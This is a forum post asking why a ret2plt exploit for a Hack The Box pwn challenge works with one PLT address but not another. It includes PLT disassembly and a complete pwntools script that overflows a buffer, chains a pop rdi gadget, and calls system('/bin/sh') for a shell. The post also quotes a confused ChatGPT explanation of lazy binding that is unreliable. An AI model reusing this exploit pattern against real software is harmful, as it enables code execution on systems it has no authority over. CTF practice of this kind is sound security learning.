I am trying to find the .plt entry for the system system call. According to the official writeup the adress 0x401040 should work. But for me it only results in an segfault. Somehow the adress 0x401020 works for me.
pwndbg> plt
Section .plt 0x401020-0x4010b0:
0x401030: puts@plt
0x401040: system@plt
0x401050: printf@plt
0x401060: memset@plt
0x401070: alarm@plt
0x401080: fgets@plt
0x401090: strcmp@plt
0x4010a0: setvbuf@plt
objdump -d -j .plt htb-console
0000000000401020 <puts@plt-0x10>:
401020: ff 35 e2 2f 00 00 push 0x2fe2(%rip) # 404008 <setvbuf@plt+0x2f68>
401026: ff 25 e4 2f 00 00 jmp *0x2fe4(%rip) # 404010 <setvbuf@plt+0x2f70>
40102c: 0f 1f 40 00 nopl 0x0(%rax)
0000000000401030 <puts@plt>:
401030: ff 25 e2 2f 00 00 jmp *0x2fe2(%rip) # 404018 <setvbuf@plt+0x2f78>
401036: 68 00 00 00 00 push $0x0
40103b: e9 e0 ff ff ff jmp 401020 <puts@plt-0x10>
0000000000401040 <system@plt>:
401040: ff 25 da 2f 00 00 jmp *0x2fda(%rip) # 404020 <setvbuf@plt+0x2f80>
401046: 68 01 00 00 00 push $0x1
40104b: e9 d0 ff ff ff jmp 401020 <puts@plt-0x10>
0000000000401050 <printf@plt>:
401050: ff 25 d2 2f 00 00 jmp *0x2fd2(%rip) # 404028 <setvbuf@plt+0x2f88>
401056: 68 02 00 00 00 push $0x2
40105b: e9 c0 ff ff ff jmp 401020 <puts@plt-0x10>
0000000000401060 <memset@plt>:
401060: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 404030 <setvbuf@plt+0x2f90>
4010ab: e9 70 ff ff ff jmp 401020 <puts@plt-0x10^C404050 <setvbuf@plt+0x2fb0>
IDA Free:
.plt:0000000000401020
.plt:0000000000401020 ; Segment type: Pure code
.plt:0000000000401020 ; Segment permissions: Read/Execute
.plt:0000000000401020 _plt segment para public 'CODE' use64
.plt:0000000000401020 assume cs:_plt
.plt:0000000000401020 ;org 401020h
.plt:0000000000401020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.plt:0000000000401020
.plt:0000000000401020
.plt:0000000000401020
.plt:0000000000401020 sub_401020 proc near
.plt:0000000000401020 ; __unwind {
.plt:0000000000401020 push cs:qword_404008
.plt:0000000000401026 jmp cs:qword_404010
.plt:0000000000401026 sub_401020 endp
.plt:0000000000401026
.plt:0000000000401040
.plt:0000000000401040
.plt:0000000000401040 ; Attributes: thunk
.plt:0000000000401040
.plt:0000000000401040 ; int system(const char *command)
.plt:0000000000401040 _system proc near
.plt:0000000000401040 jmp cs:off_404020
.plt:0000000000401040 _system endp
.plt:0000000000401040
When single stepping with ida. The jump to 0000000000401020 works, and 0000000000401040 also results in a segfault.
GPT said:
“The address 0000000000401020 is part of the PLT entry for an initial jump to the dynamic linker:”
" This address 0000000000401040 is a specific PLT entry for the system
function:"
" First Call (Address 0x401020
): The initial call to a function in the PLT like 0x401020
ensures that the dynamic linker resolves the function’s address and updates the relevant GOT entry. This sets up subsequent calls correctly.
Subsequent Calls (Address 0x401040
): After the initial resolution, calls to the specific PLT entries like 0x401040
should work correctly, provided the GOT entry off_404020
has been populated. If there is a segfault, it indicates that off_404020
still contains an invalid address, meaning the dynamic linker hasn’t resolved it yet."
So i tried using the date command as intended to resolve the adress of the system call, and used then the 0x401040 adress which still resulted in an segfault. Why is this 0x401020 adress working for me ?
I am confused.
The code which worked for me:
from pwn import *
LOCAL_PROGRAM = './htb-console'
r = process(LOCAL_PROGRAM)
r.sendlineafter(b'>>', b'hof')
r.sendlineafter(b'name:', b'/bin/sh\x00')
pop_rdi = 0x401473
bin_sh = 0x4040b0
system = 0x401020 # works for me
payload = b'A' * 24 + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.sendlineafter(b'>>', b'flag')
r.sendlineafter(b'flag:', payload)
print('** SHELL **')
r.interactive()